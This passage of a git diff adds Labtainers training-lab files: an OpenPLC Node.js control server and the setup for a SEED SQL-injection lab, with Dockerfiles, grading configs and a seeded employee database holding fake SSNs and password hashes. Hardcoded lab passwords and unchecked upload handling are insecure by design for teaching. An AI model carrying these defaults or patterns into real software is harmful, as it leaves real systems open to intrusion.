== false) + { + console.log('Starting OpenPLC Software... UniqueID'); + plcLog = 'Starting OpenPLC Application...\r\n'; + openplc = spawn('./core/openplc'); + openplc.stdout.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.stderr.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.on('close', function(code) + { + plcLog += 'OpenPLC application terminated\r\n'; + }); + + plcRunning = true; + } + + var htmlString = '\ + \ + \ +
\ + \ +
\ + '; + + res.send(htmlString); +}); + +app.get('/stop',function(req,res) +{ + if (plcRunning == true) + { + console.log('Stopping OpenPLC Software... UniqueID'); + openplc.kill('SIGTERM'); + plcRunning = false; + } + + var htmlString = '\ + \ + \ +
\ + \ +
\ + '; + + res.send(htmlString); +}); + +app.post('/api/upload',function(req,res) +{ + console.log('Uploading file ... UniqueID'); + upload(req,res,function(err) + { + if(err) + { + return res.end("Error uploading file."); + } + + var htmlString = '\ + \ + \ +
\ + \ +
\ + '; + + res.send(htmlString); + + console.log(uploadedFileName + ' uploaded to ' + uploadedFilePath); + console.log('finishing old program...'); + openplc.kill('SIGTERM'); + plcRunning = false; + compilationOutput = ''; + compilationEnded = false; + compilationSuccess = false; + compileProgram(uploadedFileName); + }); +}); + +app.post('/api/changeModbusCfg',function(req,res) +{ + upload(req,res,function(err) + { + if(err) + { + return res.end("Error uploading file."); + } + + var htmlString = '\ + \ + \ +
\ + \ + \ + \ +
\ + \ +

OpenPLC Server

\ +


Modbus configuration file uploaded

\ + \ + '; + + res.send(htmlString); + + var mover = spawn('mv', ['-f', './st_files/' + uploadedFileName, './core/mbconfig.cfg']); + mover.on('close', function(code) + { + if (code != 0) + { + console.log('error moving modbus config file'); + } + }); + var copier = spawn('cp', ['-f', './core/mbconfig.cfg', './']); + copier.on('close', function(code) + { + if (code != 0) + { + console.log('error copying modbus config file'); + } + }); + }); +}); + +app.listen(8080,function() +{ + console.log("Working on port 8080 UniqueID"); +}); + +app.get('/viewLogs',function(req,res) +{ + var htmlString = '\ + \ + \ +
\ + \ + \ + \ +
\ + \ + \ +

OpenPLC Server

\ +
\ +

'; + htmlString += plcLog; + htmlString += '\ +

\ +
\ + \ + '; + + htmlString = htmlString.replace(/(?:\r\n|\r|\n)/g, '
'); + res.send(htmlString); +}); + +app.get('/uploadStatus',function(req,res) +{ + var htmlString = '\ + \ + \ +
'; + if (!compilationEnded) + { + htmlString += ''; + } + htmlString += '\ + \ + \ +
\ + \ + \ +

OpenPLC Server

\ +


'; + if (compilationEnded) + { + if (compilationSuccess) + { + htmlString += 'Program compiled without errors!

'; + } + else + { + htmlString += 'Error compiling program. Please check console log.

'; + } + } + else + { + htmlString += 'Uploading program...

'; + } + htmlString += '\ +
\ +

'; + htmlString += compilationOutput; + htmlString += '\ +

\ +
\ + \ + '; + + htmlString = htmlString.replace(/(?:\r\n|\r|\n)/g, '
'); + res.send(htmlString); +}); + +function showMainPage(req,res) +{ + var htmlString = '\ + \ + \ +
\ + \ + \ +
\ + \ + \ +

OpenPLC Server

\ +

Labtainerized UniqueID

'; + if (plcRunning == true) + { + htmlString += '


Current PLC Status: Running

'; + } + else + { + htmlString += '


Current PLC Status: Stopped

'; + } + htmlString += '\ +
\ +
\ + \ + \ +
\ +
\ +
\ + \ +
\ +


\ +

Change PLC Program

\ +
\ +
\ +
\ + \ + \ +
\ +
\ +


\ +

Change Modbus Master Configuration

\ +

Changing this only have effect if OpenPLC is using the Modbus Master Driver

\ +
\ +
\ +
\ + \ + \ +
\ +
\ + \ + '; + + res.send(htmlString); +} + +function compileProgram(fileName) +{ + console.log('compiling new program...'); + compilationOutput += 'compiling new program...\r\n'; + var compiler = spawn('./iec2c', ['./st_files/' + fileName]); + + compiler.stdout.on('data', function(data) + { + console.log('' + data); + compilationOutput += data; + compilationOutput += '\r\n'; + }); + compiler.stderr.on('data', function(data) + { + console.log('' + data); + compilationOutput += data; + compilationOutput += '\r\n'; + }); + compiler.on('close', function(code) + { + if (code != 0) + { + console.log('Error compiling program. Please check console log'); + compilationOutput += 'Error compiling program. Please check console log\r\n'; + compilationEnded = true; + } + else + { + console.log('Program compiled successfully'); + compilationOutput += 'Program compiled successfully\r\n'; + moveFiles(); + } + }); +} + +function moveFiles() +{ + console.log('moving files...'); + compilationOutput += 'moving files...\r\n'; + var copier = spawn('mv', ['-f', 'POUS.c', 'POUS.h', 'LOCATED_VARIABLES.h', 'VARIABLES.csv', 'Config0.c', 'Config0.h', 'Res0.c', './core/']); + copier.on('close', function(code) + { + if (code != 0) + { + console.log('error moving files'); + compilationOutput += 'error moving files\r\n'; + compilationEnded = true; + } + else + { + compileOpenPLC(); + } + }); +} + +function compileOpenPLC() +{ + console.log('compiling OpenPLC...'); + compilationOutput += 'compiling OpenPLC...\r\n'; + + var exec = require('child_process').exec; + exec('./build_core.sh', function(error, stdout, stderr) + { + console.log('stdout: ' + stdout); + console.log('stderr: ' + stderr); + compilationOutput += stdout + '\r\n'; + compilationOutput += stderr + '\r\n'; + if (error !== null) + { + console.log('exec error: ' + error); + console.log('error compiling OpenPLC. Please check your program'); + compilationOutput += 'exec error: ' + error + '\r\n'; + compilationOutput += 'error compiling OpenPLC. Please check your program\r\n'; + } + else + { + console.log('compiled without errors'); + compilationOutput += 'compiled without errors\r\n'; + console.log('Starting OpenPLC Software...'); + plcLog = 'Starting OpenPLC Application...\r\n'; + openplc = spawn('./core/openplc'); + openplc.stdout.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.stderr.on('data', function(data) + { + plcLog += data; + plcLog += '\r\n'; + }); + openplc.on('close', function(code) + { + plcLog += 'OpenPLC application terminated\r\n'; + }); + + plcRunning = true; + compilationSuccess = true; + } + compilationEnded = true; + }); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/faux_init new file mode 100755 index 000000000..4555425ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/faux_init @@ -0,0 +1,22 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +# PUT any daemon start (that need parameterization after while loop) +/etc/init.d/plc.sh start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/softplc/softplc/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/fixlocal.sh new file mode 100755 index 000000000..6873c3fe9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/student_startup.sh new file mode 100755 index 000000000..503146260 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/student_startup.sh @@ -0,0 +1 @@ +firefox seedlabsqlinjection.com > /dev/null 2>&1 & diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/treataslocal new file mode 100644 index 000000000..13368f829 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_bin/treataslocal @@ -0,0 +1 @@ +curl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/about.txt new file mode 100644 index 000000000..f9ed6634e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/about.txt @@ -0,0 +1 @@ +SQL injection attacks and countermeasures. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/start.config new file mode 100644 index 000000000..3bf90ce00 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/start.config @@ -0,0 +1,69 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER web-server + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED sql-inject_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# + NETWORK some_network + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER web-server + # user name of user who interacts with the container. + USER student + PASSWORD password123 + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + some_network 172.25.0.3 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # + SCRIPT NONE +CONTAINER client + # user name of user who interacts with the container. + USER student + PASSWORD password123 + some_network 172.25.0.2 + X11 YES + ADD-HOST seedlabsqlinjection.com:172.25.0.3 + ADD-HOST www.seedlabsqlinjection.com:172.25.0.3 + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/web-server-home_tar.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/config/web-server-home_tar.list new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/dockerfiles/Dockerfile.sql-inject.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/dockerfiles/Dockerfile.sql-inject.client.student new file mode 100644 index 000000000..67ff49547 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/dockerfiles/Dockerfile.sql-inject.client.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends curl +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel +RUN echo "172.25.0.3 seedlabsqlinjection.com" >>/etc/hosts +RUN echo "172.25.0.3 www.seedlabsqlinjection.com" >>/etc/hosts +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME + +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/dockerfiles/Dockerfile.sql-inject.web-server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/dockerfiles/Dockerfile.sql-inject.web-server.student new file mode 100644 index 000000000..129e3ba07 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/dockerfiles/Dockerfile.sql-inject.web-server.student @@ -0,0 +1,69 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# +# enable virtual host websites +# +RUN usermod $user_name -a -G wheel +RUN echo "IncludeOptional sites-enabled/*.conf" >>/etc/httpd/conf/httpd.conf +RUN echo "172.25.0.3 seedlabsqlinjection.com" >>/etc/hosts +RUN echo "172.25.0.3 www.seedlabsqlinjection.com" >>/etc/hosts + +RUN ldconfig +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/Makefile new file mode 100644 index 000000000..dadbe775c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/Makefile @@ -0,0 +1,6 @@ +sql-inject.pdf: sql-inject.docx + soffice --convert-to pdf sql-inject.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/read_first.txt new file mode 100644 index 000000000..2bd0b8841 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/sql-inject.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/sql-inject-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/sql-inject-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/sql-inject-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/sql-inject.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/sql-inject.docx new file mode 100755 index 000000000..335ce0ec6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/docs/sql-inject.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/goals.config new file mode 100644 index 000000000..cd4d21fdd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# DOC: count of times curl was run +curl_count = value : curl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/results.config new file mode 100644 index 000000000..f2beb18ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/instr_config/results.config @@ -0,0 +1,6 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# DOC: selected the Alice record from the database +selected_alice = web-server:mysql.stdout : CONTAINS : 1 | Alice | 10000 | 20000 | 9/20 | 10211002 +curl = client:.bash_history : STRING_COUNT : curl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/Users.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/Users.sql new file mode 100644 index 000000000..6730188dd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/Users.sql @@ -0,0 +1,60 @@ +-- MySQL dump 10.13 Distrib 5.5.32, for debian-linux-gnu (i686) +-- +-- Host: localhost Database: Users +-- ------------------------------------------------------ +-- Server version 5.5.32-0ubuntu0.12.04.1 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Table structure for table `credential` +-- + +DROP TABLE IF EXISTS `credential`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `credential` ( + `ID` int(6) unsigned NOT NULL AUTO_INCREMENT, + `Name` varchar(30) NOT NULL, + `EID` varchar(20) DEFAULT NULL, + `Salary` int(9) DEFAULT NULL, + `birth` varchar(20) DEFAULT NULL, + `SSN` varchar(20) DEFAULT NULL, + `PhoneNumber` varchar(20) DEFAULT NULL, + `Address` varchar(300) DEFAULT NULL, + `Email` varchar(300) DEFAULT NULL, + `NickName` varchar(300) DEFAULT NULL, + `Password` varchar(300) DEFAULT NULL, + PRIMARY KEY (`ID`) +) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `credential` +-- + +LOCK TABLES `credential` WRITE; +/*!40000 ALTER TABLE `credential` DISABLE KEYS */; +INSERT INTO `credential` VALUES (1,'Alice','10000',20000,'9/20','10211002','','','','','fdbe918bdae83000aa54747fc95fe0470fff4976'),(2,'Boby','20000',30000,'4/20','10213352','','','','','b78ed97677c161c1c82c142906674ad15242b2d4'),(3,'Ryan','30000',50000,'4/10','98993524','','','','','a3c50276cb120637cca669eb38fb9928b017e9ef'),(4,'Samy','40000',90000,'1/11','32193525','','','','','995b8b8c183f349b3cab0ae7fccd39133508d2af'),(5,'Ted','50000',110000,'11/3','32111111','','','','','99343bff28a7bb51cb6f22cb20a618701a2c2f58'),(6,'Admin','99999','400000','3/5','43254314','','','','','a5bdf35a1df4ea895905f6f6618e83951a6effc0'); +/*!40000 ALTER TABLE `credential` ENABLE KEYS */; +UNLOCK TABLES; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2015-10-25 10:57:28 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_bin/fixlocal.sh new file mode 100755 index 000000000..ea4cef341 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_bin/fixlocal.sh @@ -0,0 +1,22 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +while [ 1 ]; do + mysql -u root -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('seedubuntu')" + result=$? + if [[ $result == 0 ]]; then + break + else + echo no server, sleep + sleep 1 + fi +done +mysql -u root -pseedubuntu -e "CREATE DATABASE if not exists Users; " +mysql -u root -pseedubuntu Users < $HOME/Users.sql + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_bin/treataslocal new file mode 100644 index 000000000..0eaebf127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_bin/treataslocal @@ -0,0 +1 @@ +mysql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/etc/httpd/sites-available/seedlabsqlinjection.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/etc/httpd/sites-available/seedlabsqlinjection.com.conf new file mode 100644 index 000000000..f54046686 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/etc/httpd/sites-available/seedlabsqlinjection.com.conf @@ -0,0 +1,8 @@ + + ServerName http://www.SeedLabSQLInjection.com + DocumentRoot /var/www/seedlabsqlinjection.com/public_html + ServerAlias seedlabsqlinjection.com + ErrorLog /var/www/seedlabsqlinjection.com/error.log + CustomLog /var/www/seedlabsqlinjection.com/requests.log combined + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/etc/httpd/sites-enabled/seedlabsqlinjection.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/etc/httpd/sites-enabled/seedlabsqlinjection.com.conf new file mode 120000 index 000000000..d694ad04a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/etc/httpd/sites-enabled/seedlabsqlinjection.com.conf @@ -0,0 +1 @@ +../sites-available/seedlabsqlinjection.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/README new file mode 100644 index 000000000..58053769a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/README @@ -0,0 +1,19 @@ +This is patch folder for exist SEED VM 12.04. + author: Kailiang kying@syr.edu + +You have two ways to patch the SEED VM 12.04 + +1) automatic approach: +------------------------ + +chmod a+x bootstrap.sh +./bootstrap.sh +type seed password "dees" + + +2) manual approach: +------------------------ + +In case the automatic approach does not work for you. Please take a look +at the SQL Injection Attack Lab description Appendix secton. +It contains detail step how to setup the SQL injection lab environment manually. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/edit.php b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/edit.php new file mode 100644 index 000000000..2bf068fe3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/edit.php @@ -0,0 +1,46 @@ + + + + + + + +
+

+ +

+
+ + + +
+
+
+

Edit Profile Information

+
+
+
+
+
+
+
+
+ +
+
+ + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/index.html new file mode 100644 index 000000000..26407998d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sql-inject/web-server/_system/var/www/seedlabsqlinjection.com/public_html/index.html @@ -0,0 +1,28 @@ + + + + + + +
+

Employee Profile Information

+
+
+
+
+
+ +
+
